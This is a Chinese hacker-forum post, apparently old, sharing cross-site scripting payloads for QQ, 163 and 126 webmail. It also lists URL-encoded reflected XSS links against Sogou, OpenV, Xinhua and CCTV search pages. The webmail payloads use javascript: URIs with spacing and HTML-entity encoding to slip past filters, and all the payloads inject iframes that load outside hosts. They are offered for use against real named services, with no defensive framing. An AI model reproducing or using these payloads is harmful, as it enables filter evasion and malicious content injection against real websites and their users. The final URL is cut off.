在这潜水很久了（第一次发贴）
没什么技术含量（见笑）

QQ邮件:

Copy code

<img src=javascript:document.write('<Iframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E</iframe%3E')>

163邮件:

Copy code

<img src=j    avascript:document.write('%3CIframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E%3C/iframe%3E')>

126邮件 也适用与Q邮箱:

Copy code

<img src=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x64ocument&#x2ewrite&#x28&#x27&#x3cIframe%20src=http://hi.baidu.com/jc123%20width=500%20height=550%3E&#x3c/iframe%3E')>

其他邮箱请参考hackest&雕牌 [H.S.T]的“对国内主流邮箱的跨站测试”一文

另外是一些跨站漏洞（作者在另一主题中提交被管理人员合并进来）
Sogou：

http://www.sogou.com/web?query=%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%22%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%31%35%30%30%22%3E%3C%2F%69%66%72%61%6D%65%3E

OpenV:

http://www.openv.tv/ls.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%77%77%77%2E%68%61%63%6B%31%30%30%2E%63%6E%20%77%69%64%74%68%3D%22%39%30%30%22%20%68%65%69%67%68%74%3D%22%39%30%30%22%3E&db=video

新华网视频搜索也是OpenV的

http://xinhuanet.openv.tv/search.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64%75%2E%63%6F%6D%2F%6A%63%31%32%33%3E&md=&lang=&sn=1&vd=&d=v&db=tv&s

CCTV:(好像有人发过了）

http://vsearch.cctv.com/tvsearch.jsp?q=%3C%2F%74%69%74%6C%65%3E%3C%69%66%72%61%6D%65%20%73%72%63%3D%68%74%74%70%3A%2F%2F%68%69%2E%62%61%69%64

[1] [2] 下一页